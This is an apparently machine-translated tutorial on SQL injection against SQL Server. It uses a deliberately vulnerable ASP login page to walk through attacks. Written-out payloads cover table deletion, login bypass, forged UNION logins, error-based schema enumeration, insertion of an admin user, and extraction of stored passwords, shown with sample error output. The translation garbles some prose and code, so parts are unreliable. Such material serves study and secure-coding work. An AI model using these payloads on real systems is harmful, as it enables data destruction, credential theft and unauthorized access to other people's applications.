This article is intended for two types of readers: first, database-based web program developers and security experts who review various web programs.
[Introduction]
Structured Query Language (SQL) is a text language used to interact with the database SQL language is diverse, most vertices are jointly loose to comply with the SQL-92 standard (the latest ANSI standard: currently the latest is SQL-99]). A typical SQL operation is "query". It is a set of statements that allow the database to return the "query result record set. SQL statements can modify the database structure (using the Data Definition Language "DDL") and operate data in the database (using the data operation language "DML "). Here we will focus on Transact-SQL (interactive SQL), a dialect of SQL used in SQL-Server (non-standard SQL ).
If attackers can insert a series of SQL statements into the application's data query, SQL injection attacks may occur.
A typical SQL statement is as follows:
Select id, forename, surname from authors
This query statement returns all rows in the 'id', 'forename', and 'surname' columns from the 'author' table. The returned result set can also be restricted by the specific condition 'author:
Select id, forename, surname from authors where forename = 'john' and surname = 'Smith'
Note that 'john' and 'Smith 'are enclosed in single quotes. Assume that the 'forename' and 'surname' fields are from user input, attackers may input illegal strings to inject SQL statements into the query:
Forename: jo 'hn
Surname: smith
The query statement becomes:
Select id, forename, surname from authors where forename = 'jo 'hn 'and surname = 'Smith'
When the database tries to execute this query, it will return the following error:
Server: Msg 170, Level 15, State 1, Line 1
Line 1: Incorrect syntax near 'hn'
This is because the inserted single quotes damage the data enclosed in the original single quotes, and the database fails to run 'hn. If attackers enter the following information:
Forename: jo '; drop table authors --
Surname:
... The authors table will be deleted. The reason will be explained later.
It seems that this problem can be solved by deleting the single quotes in the strings entered by the user or avoiding them in some ways. It is true that there are still many difficulties to implement this solution. Because first, not all data submitted by users is in the string format. For example, we use 'id' (which seems to be a number) to select a user, our query may look like this:
Select id, forename, surname from authors where id = 1234
In this case, attackers can easily add SQL statements after numerical input. In other SQL dialects, various separators are used, such as the MS Jet DBMS engine. dates can be separated by the '#' symbol.
Second, avoiding single quotes is not as necessary as we thought at the beginning. The reason is discussed below.
Take the Active Server Pages (ASP) logon page as an example to describe in detail. It accesses an SQL-Server database and verifies access to a hypothetical program.
This is the form page for the user to enter the user name and password:
<HTML>
<HEAD>
<TITLE> Login Page </TITLE>
</HEAD>
<BODY bgcolor = '000000' text = 'cccccccc'>
<FONT Face = 'tahoma 'color = 'cccccccc'>
<CENTER> <H1> Login </H1>
<FORM action = 'process _ login. asp 'method = post>
<TABLE>
<TR> <TD> Username: </TD> <INPUT type = text name = username size = 100% width = 100> </INPUT> </TD> </TR>
<TR> <TD> Password: </TD> <INPUT type = password name = password size = 100%
Width = 100> </INPUT> </TD> </TR>
</TABLE>
<INPUT type = submit value = 'submit '> <INPUT type = reset value = 'reset'>
</FORM>
</FONT>
</BODY>
</HTML>
This is the 'process _ login. asp 'code, which processes user login:
<HTML>
<BODY bgcolor = '000000' text = 'ffffff'>
<FONT Face = 'tahoma 'color = 'ffffff'>
<STYLE>
P {font-size = 20pt! Important}
Font {font-size = 20pt! Important}
H1 {font-size = 64pt! Important}
</STYLE>
<% @ LANGUAGE = JScript %>
<%
Function trace (str)
{
If (Request. form ("debug") = "true ")
Response. write (str );
}
Function Login (cn)
{
Var username;
Var password;
Username = Request. form ("username ");
Password = Request. form ("password ");
Var rso = Server. CreateObject ("ADODB. Recordset ");
Var SQL = "select * from users where username = '" + username + "'
And password = '"+ password + "'";
Trace ("query:" + SQL );
Rso. open (SQL, cn );
If (rso. EOF)
{
Rso. close ();
%> <FONT Face = 'tahoma 'color = 'cc000000'>
<H1>
<BR>
<CENTER> access denied </CENTER>
</H1>
</BODY>
</HTML>
<%
Response. end
Return;
}
Else
{
Session ("username") = "" + rso ("username ");
%>
<FONT Face = 'tahoma 'color = '00cc00'>
<H1>
<CENTER> access granted <BR>
<BR>
Welcome,
<% Response. write (rso ("Username "));
Response. write ("</BODY> </HTML> ");
Response. end
}
}
Function Main ()
{
// Set up connection
Var username
Var cn = Server. createobject ("ADODB. Connection ");
Cn. connectiontimeout = 20;
Cn. open ("localserver", "sa", "password ");
Username = new String (Request. form ("username "));
If (username. length> 0)
{
Login (cn );
}
Cn. close ();
}
Main ();
%>
Here we will discuss how to create a 'query string' in 'process _ login. asp:
Var SQL = "select * from users where username = '" + username + "' and password = '" + password + "'";
If you specify the following data:
Username: '; drop table users --
Password:
The 'users' table is deleted and cannot be accessed by all users. '--' Is the single-row annotator of Transact-SQL (interactive SQL). ';' indicates the end of one query and the start of another query. The '--' At the end of the user name is used to end this special query without errors.
As long as the user name is known, attackers can log in as any user using the following input:
Username: admin '--
Attackers can use the following input to log on to the first user in the User table:
Username: 'or 1 = 1 --
... In addition, attackers can use the following input to log on to any fictitious User:
Username: 'Union select 1, 'fictional _ user', 'somoe _ password', 1 --
The program believes that the constant specified by the attacker is part of the record set returned by the database.
[Get information through error information]
This technology was first discovered by David Litchfield in a penetration test. Later, david wrote an article about this technology, which many authors have referred. Here we will discuss the potential mechanisms of the "error message" technology so that readers can fully understand it and use it flexibly.
To manipulate data in the database, attackers need to determine the structure of a database. For example, the "user" table is created using the following statement:
Create table users (id int,
Username varchar (255 ),
Password varchar (1, 255 ),
Privs int
)
The following users are inserted:
Insert into users values (0, 'admin', 'r00tr0x! ', 0 xffff)
Insert into users values (0, 'Guest ', 'Guest', 0x0000)
Insert into users values (0, 'chris ', 'Password', 0x00ff)
Insert into users values (0, 'fred ', 'sesame', 0x00ff)
We assume that the attacker wants to insert a user for himself. If he does not know the table structure, he cannot succeed. Even if he is lucky, the importance of the 'priv' field is unclear. An attacker may insert '1' and add a low-privilege user to the program. The target is the administrator privilege.
Fortunately for attackers, if the program returns an error (asp by default), attackers can guess the entire database structure, read any value that the ASP program can read when connected to the SQL Server account.
(The following uses the sample database and asp script provided above to explain how these technologies are implemented)
First, the attacker needs to determine the table name and field name to be queried. To achieve this, attackers can use the 'having 'clause of the 'select' statement:
Username: 'Having 1 = 1 --
This will cause the following error (the having statement must be used with group by or aggregate functions; otherwise, an error occurs ):
Microsoft ole db Provider for ODBC Drivers error '80040e14'
[Microsoft] [odbc SQL Server Driver] [SQL Server] Column 'users. id' is
Invalid in the select list because it is not contained in an aggregate
Function and there is no group by clause.
/Process_login.asp, line 35
Therefore, the attacker knows the table name and the column name in the first column. They can add the 'group by' clause to each column to continue obtaining other column names, as shown below:
Username: 'group by users. id having 1 = 1 --
(The result produces such an error)
Microsoft ole db Provider for ODBC Drivers error '80040e14'
[Microsoft] [odbc SQL Server Driver] [SQL Server] Column 'users. username'
Is invalid in the select list because it is not contained in either
Aggregate function or the group by clause.
/Process_login.asp, line 35
Finally, the attacker obtained the following 'username ':
'Group by users. id, users. username, users. password, users. privs having 1 = 1 --
There is no error in this sentence, which is equivalent:
Select * from users where username =''
The attacker knows that the query is only about the 'users' table, and uses the column 'id, username, password, rpivs 'in sequence '.
If attackers can determine the Data Types of each column, they can use the type conversion error message to achieve this. See the following example:
Username: 'Union select sum (username) from users --
This utilizes the SQL-Server's attempt to execute the 'sum' clause before determining whether the two rows are the same, to calculate the text field and return the following information:
Microsoft ole db Provider for ODBC Drivers error '80040e07'
[Microsoft] [odbc SQL Server Driver] [SQL Server] The sum or average
Aggregate operation cannot take a varchar data type as an argument.
/Process_login.asp, line 35
It tells us that the type of the 'username' field is 'varchar '. On the contrary, if we try to calculate a numeric field, but the number of columns in the two rows does not match:
Microsoft ole db Provider for ODBC Drivers error '80040e07'
[Microsoft] [odbc SQL Server Driver] [SQL Server] The sum or average
Aggregate operation cannot take a varchar data type as an argument.
/Process_login.asp, line 35
We can use this technology to roughly determine the types of columns in the database.
In this way, attackers can write a perfect 'insert' statement:
Username: '; insert into users values (666, 'attacker', 'foobar', 0 xffff )--
However, this technology has more potential than that. Attackers can exploit any error information to expose the system environment or database information. Execute the following statement to get a list of standard error messages:
Select * from master... sysmessages
Check this list to find a lot of interesting information.
A particularly useful information-related type conversion. If you try to convert a string into an integer, the content of the entire string will appear in the error message. The following 'username' will return the SQL Server version and the operating system version of the SQL Server:
Username: 'Union select @ version, 1, 1, 1 --
Microsoft ole db Provider for ODBC Drivers error '80040e07'
[Microsoft] [odbc SQL Server Driver] [SQL Server] Syntax error converting
The nvarchar value 'Microsoft SQL Server 2000-8.00.194 (Intel X86) Aug
6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise
Edition on Windows NT 5.0 (Build 2195: Service Pack 2) 'to a column
Data type int.
/Process_login.asp, line 35
This attempts to convert the built-in constant '@ version' to an integer because the first column of the 'users' table is an integer.
This technology can be used to read any content from any table in any database. If attackers are interested in the username and password, they can read the username from the 'users' table:
Username: 'Union select min (username), 1, 1 from users where username> 'A '--
This selects the smallest user name larger than 'A' and tries to convert it into an integer:
Microsoft ole db Provider for ODBC Drivers error '80040e07'
[Microsoft] [odbc SQL Server Driver] [SQL Server] Syntax error converting
The varchar value 'admin' to a column of data type int.
/Process_login.asp, line 35
The attacker knows that the 'admin' account exists. He can now put the username he found into the 'where' clause to repeatedly test this line:
Username: 'Union select min (username), 1, 1 from users where username> 'admin '--
Microsoft ole db Provider for ODBC Drivers error '80040e07'
[Microsoft] [odbc SQL Server Driver] [SQL Server] Syntax error converting
The varchar value 'chris 'to a column of data type int.
/Process_login.asp, line 35
Once the user name is determined, the attacker can collect the password;
Username: 'Union select password, 1, 1 from users where username = 'admin '--
Microsoft ole db Provider for ODBC Drivers error '80040e07'
[Microsoft] [odbc SQL Server Driver] [SQL Server] Syntax error converting
The varchar value 'r00tr0x! 'To a column of data type int.
/Process_login.asp, line 35
A more "chic" technique is to connect the user name and password into a separate character and then try to convert it into an integer. This is another example. A Transact-SQL statement can concatenate strings into a row without changing their meaning. The following script will connect these values:
Begin declare @ ret varchar (8000)
Set @ ret = ':'
Select @ ret = @ ret + ''+ username + '/' + password from users where
Username> @ ret
Select @ ret as ret into foo
End
